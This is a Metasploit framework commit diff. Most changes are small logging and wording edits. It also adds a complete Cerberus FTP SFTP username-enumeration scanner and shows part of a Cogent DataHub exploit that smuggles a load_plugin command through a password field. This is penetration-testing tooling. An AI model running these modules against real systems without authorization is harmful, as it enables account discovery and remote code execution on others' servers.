Skip to content

Commit c041682

Browse files
committed
Land additional cmdstager specs from @jvazquez-r7
2 parents d93bf55 + 405de05 commit c041682

File tree

9 files changed

+500
-22
lines changed

9 files changed

+500
-22
lines changed

lib/msf/core/exploit/cmdstager.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -116,7 +116,7 @@ def generate_cmdstager(opts = {}, pl = nil)
116116
self.stager_instance = create_stager
117117
cmd_list = stager_instance.generate(opts_with_decoder(opts))
118118

119-
if (cmd_list.nil? or cmd_list.length < 1)
119+
if (cmd_list.nil? || cmd_list.length < 1)
120120
print_error("The command stager could not be generated")
121121
raise ArgumentError
122122
end

modules/auxiliary/scanner/http/jenkins_enum.rb

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,7 @@ def run_host(ip)
5353
end
5454

5555
version = res.headers['X-Jenkins']
56-
vprint_status("#{peer} - Jenkins Version - #{version}")
56+
print_status("#{peer} - Jenkins Version - #{version}")
5757
report_service(
5858
:host => rhost,
5959
:port => rport,
@@ -120,17 +120,17 @@ def check_app(app)
120120
)
121121
end
122122
when 403
123-
vprint_status("#{peer} - #{uri_path} restricted (403)")
123+
print_status("#{peer} - #{uri_path} restricted (403)")
124124
when 401
125-
vprint_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}")
125+
print_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}")
126126
when 404
127-
vprint_status("#{peer} - #{uri_path} not found (404)")
127+
print_status("#{peer} - #{uri_path} not found (404)")
128128
when 301
129-
vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
129+
print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
130130
when 302
131-
vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
131+
print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
132132
else
133-
vprint_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}")
133+
print_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}")
134134
end
135135
end
136136

modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary
1414

1515
def initialize
1616
super(
17-
'Name' => 'IPMI 2.0 RAKP Cipher Zero Authentication Bypass Scanner',
17+
'Name' => 'IPMI 2.0 Cipher Zero Authentication Bypass Scanner',
1818
'Description' => %q|
1919
This module identifies IPMI 2.0 compatible systems that are vulnerable
2020
to an authentication bypass vulnerability through the use of cipher
Lines changed: 213 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,213 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'net/ssh'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Auxiliary::Scanner
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Cerberus FTP Server SFTP Username Enumeration',
17+
'Description' => %q{
18+
This module uses a dictionary to brute force valid usernames from
19+
Cerberus FTP server via SFTP. This issue affects all versions of
20+
the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy
21+
in the way the SSH service handles failed logins for valid and invalid
22+
users. This issue was discovered by Steve Embling.
23+
},
24+
'Author' => [
25+
'Steve Embling', # Discovery
26+
'Matt Byrne <attackdebris [at] gmail.com>' # Metasploit module
27+
],
28+
'References' =>
29+
[
30+
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/93546' ],
31+
[ 'BID', '67707']
32+
],
33+
'License' => MSF_LICENSE,
34+
'DisclosureDate' => 'May 27 2014'
35+
))
36+
37+
register_options(
38+
[
39+
Opt::RPORT(22),
40+
OptPath.new(
41+
'USER_FILE',
42+
[true, 'Files containing usernames, one per line', nil])
43+
], self.class
44+
)
45+
46+
register_advanced_options(
47+
[
48+
OptInt.new(
49+
'RETRY_NUM',
50+
[true , 'The number of attempts to connect to a SSH server for each user', 3]),
51+
OptInt.new(
52+
'SSH_TIMEOUT',
53+
[true, 'Specify the maximum time to negotiate a SSH session', 10]),
54+
OptBool.new(
55+
'SSH_DEBUG',
56+
[true, 'Enable SSH debugging output (Extreme verbosity!)', false])
57+
]
58+
)
59+
end
60+
61+
def rport
62+
datastore['RPORT']
63+
end
64+
65+
def retry_num
66+
datastore['RETRY_NUM']
67+
end
68+
69+
def check_vulnerable(ip)
70+
options = {
71+
:port => rport,
72+
:auth_methods => ['password', 'keyboard-interactive'],
73+
:msframework => framework,
74+
:msfmodule => self,
75+
:disable_agent => true,
76+
:config => false,
77+
:proxies => datastore['Proxies']
78+
}
79+
80+
begin
81+
transport = Net::SSH::Transport::Session.new(ip, options)
82+
rescue Rex::ConnectionError, Rex::AddressInUse
83+
return :connection_error
84+
end
85+
86+
auth = Net::SSH::Authentication::Session.new(transport, options)
87+
auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8))
88+
auth_method = auth.allowed_auth_methods.join('|')
89+
print_status "#{peer(ip)} Server Version: #{auth.transport.server_version.version}"
90+
report_service(
91+
:host => ip,
92+
:port => rport,
93+
:name => "ssh",
94+
:proto => "tcp",
95+
:info => auth.transport.server_version.version
96+
)
97+
98+
if auth_method.empty?
99+
:vulnerable
100+
else
101+
:safe
102+
end
103+
end
104+
105+
def check_user(ip, user, port)
106+
pass = Rex::Text.rand_text_alphanumeric(8)
107+
108+
opt_hash = {
109+
:auth_methods => ['password', 'keyboard-interactive'],
110+
:msframework => framework,
111+
:msfmodule => self,
112+
:port => port,
113+
:disable_agent => true,
114+
:config => false,
115+
:proxies => datastore['Proxies']
116+
}
117+
118+
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
119+
transport = Net::SSH::Transport::Session.new(ip, opt_hash)
120+
auth = Net::SSH::Authentication::Session.new(transport, opt_hash)
121+
122+
begin
123+
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
124+
auth.authenticate("ssh-connection", user, pass)
125+
auth_method = auth.allowed_auth_methods.join('|')
126+
if auth_method != ''
127+
:success
128+
else
129+
:fail
130+
end
131+
end
132+
rescue Rex::ConnectionError, Rex::AddressInUse
133+
return :connection_error
134+
rescue Net::SSH::Disconnect, ::EOFError
135+
return :success
136+
rescue ::Timeout::Error
137+
return :connection_error
138+
end
139+
end
140+
141+
def do_report(ip, user, port)
142+
report_auth_info(
143+
:host => ip,
144+
:port => rport,
145+
:sname => 'ssh',
146+
:user => user,
147+
:active => true
148+
)
149+
end
150+
151+
def peer(rhost=nil)
152+
"#{rhost}:#{rport} SSH -"
153+
end
154+
155+
def user_list
156+
users = nil
157+
if File.readable? datastore['USER_FILE']
158+
users = File.new(datastore['USER_FILE']).read.split
159+
users.each {|u| u.downcase!}
160+
users.uniq!
161+
else
162+
raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
163+
end
164+
165+
users
166+
end
167+
168+
def attempt_user(user, ip)
169+
attempt_num = 0
170+
ret = nil
171+
172+
while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)
173+
if attempt_num > 0
174+
Rex.sleep(2 ** attempt_num)
175+
print_debug "#{peer(ip)} Retrying '#{user}' due to connection error"
176+
end
177+
178+
ret = check_user(ip, user, rport)
179+
attempt_num += 1
180+
end
181+
182+
ret
183+
end
184+
185+
def show_result(attempt_result, user, ip)
186+
case attempt_result
187+
when :success
188+
print_good "#{peer(ip)} User '#{user}' found"
189+
do_report(ip, user, rport)
190+
when :connection_error
191+
print_error "#{peer(ip)} User '#{user}' could not connect"
192+
when :fail
193+
vprint_status "#{peer(ip)} User '#{user}' not found"
194+
end
195+
end
196+
197+
def run_host(ip)
198+
print_status "#{peer(ip)} Checking for vulnerability"
199+
case check_vulnerable(ip)
200+
when :vulnerable
201+
print_good "#{peer(ip)} Vulnerable"
202+
print_status "#{peer(ip)} Starting scan"
203+
user_list.each do |user|
204+
show_result(attempt_user(user, ip), user, ip)
205+
end
206+
when :safe
207+
print_error "#{peer(ip)} Not vulnerable"
208+
when :connection_error
209+
print_error "#{peer(ip)} Connection failed"
210+
end
211+
end
212+
end
213+

modules/exploits/windows/http/cogent_datahub_command.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,8 @@ def initialize
2222
makes insecure use of the datahub_command function with user controlled
2323
data, allowing execution of arbitrary datahub commands and scripts. This
2424
module has been tested successfully with Cogent DataHub 7.3.4 on
25-
Windows 7 SP1.
25+
Windows 7 SP1. Please also note that after exploitation, the remote service
26+
will most likely hang and restart manually.
2627
},
2728
'Author' => [
2829
'John Leitch', # Vulnerability discovery
@@ -50,7 +51,7 @@ module has been tested successfully with Cogent DataHub 7.3.4 on
5051
register_options(
5152
[
5253
OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']),
53-
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' +
54+
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' +
5455
'(do not change)', 80 ]),
5556
OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' +
5657
'wait for the payload request', 20]),
@@ -374,7 +375,7 @@ def send_injection(dll)
374375
'vars_post' =>
375376
{
376377
'username' => rand_text_alpha(3 + rand(3)),
377-
'password' => "#{rand_text_alpha(3 + rand(3))}\")" +
378+
'password' => "#{rand_text_alpha(3 + rand(3))}\")" +
378379
"(load_plugin \"#{dll}\" 1)(\""
379380
}
380381
}, 1)
@@ -414,7 +415,7 @@ def exploit
414415
@exploit_unc = "\\\\#{@myhost}\\"
415416

416417
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
417-
fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' +
418+
fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' +
418419
'URIPATH=/')
419420
end
420421

@@ -439,7 +440,7 @@ def exploit
439440
print_error("#{peer} - Unexpected answer")
440441
end
441442
else
442-
fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' +
443+
fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' +
443444
'\\\\host\\shared_folder\\base_name.dll')
444445
end
445446
end

modules/exploits/windows/http/hp_autopass_license_traversal.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -17,9 +17,9 @@ def initialize(info = {})
1717
'Description' => %q{
1818
This module exploits a code execution flaw in HP AutoPass License Server. It abuses two
1919
weaknesses in order to get its objective. First, the AutoPass application doesn't enforce
20-
authentication in the CommunicationServlet component. On the other hand, it's possible to
21-
abuse a directory traversal when uploading files thorough the same component, allowing to
22-
upload an arbitrary payload embedded in a JSP. The module has been tested successfully on
20+
authentication in the CommunicationServlet component. Seond, it's possible to abuse a
21+
directory traversal when uploading files thorough the same component, allowing to upload
22+
an arbitrary payload embedded in a JSP. The module has been tested successfully on
2323
HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50.
2424
},
2525
'Author' =>

modules/exploits/windows/local/ms14_009_ie_dfsvc.rb

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -32,11 +32,9 @@ def initialize(info={})
3232
super( update_info( info,
3333
'Name' => 'MS14-009 .NET Deployment Service IE Sandbox Escape',
3434
'Description' => %q{
35-
This module abuses a process creation policy in the Internet Explorer Sandbox which allows
36-
to escape the Enhanced Protected Mode and execute code with Medium Integrity. The problem
37-
exists in the .NET Deployment Service (dfsvc.exe), which can be run as Medium Integrity
38-
Level. Further interaction with the component allows to escape the Enhanced Protected Mode
39-
and execute arbitrary code with Medium Integrity.
35+
This module abuses a process creation policy in Internet Explorer's sandbox, specifically
36+
in the .NET Deployment Service (dfsvc.exe), which allows the attacker to escape the
37+
Enhanced Protected Mode, and execute code with Medium Integrity.
4038
},
4139
'License' => MSF_LICENSE,
4240
'Author' =>

0 commit comments

Comments
 (0)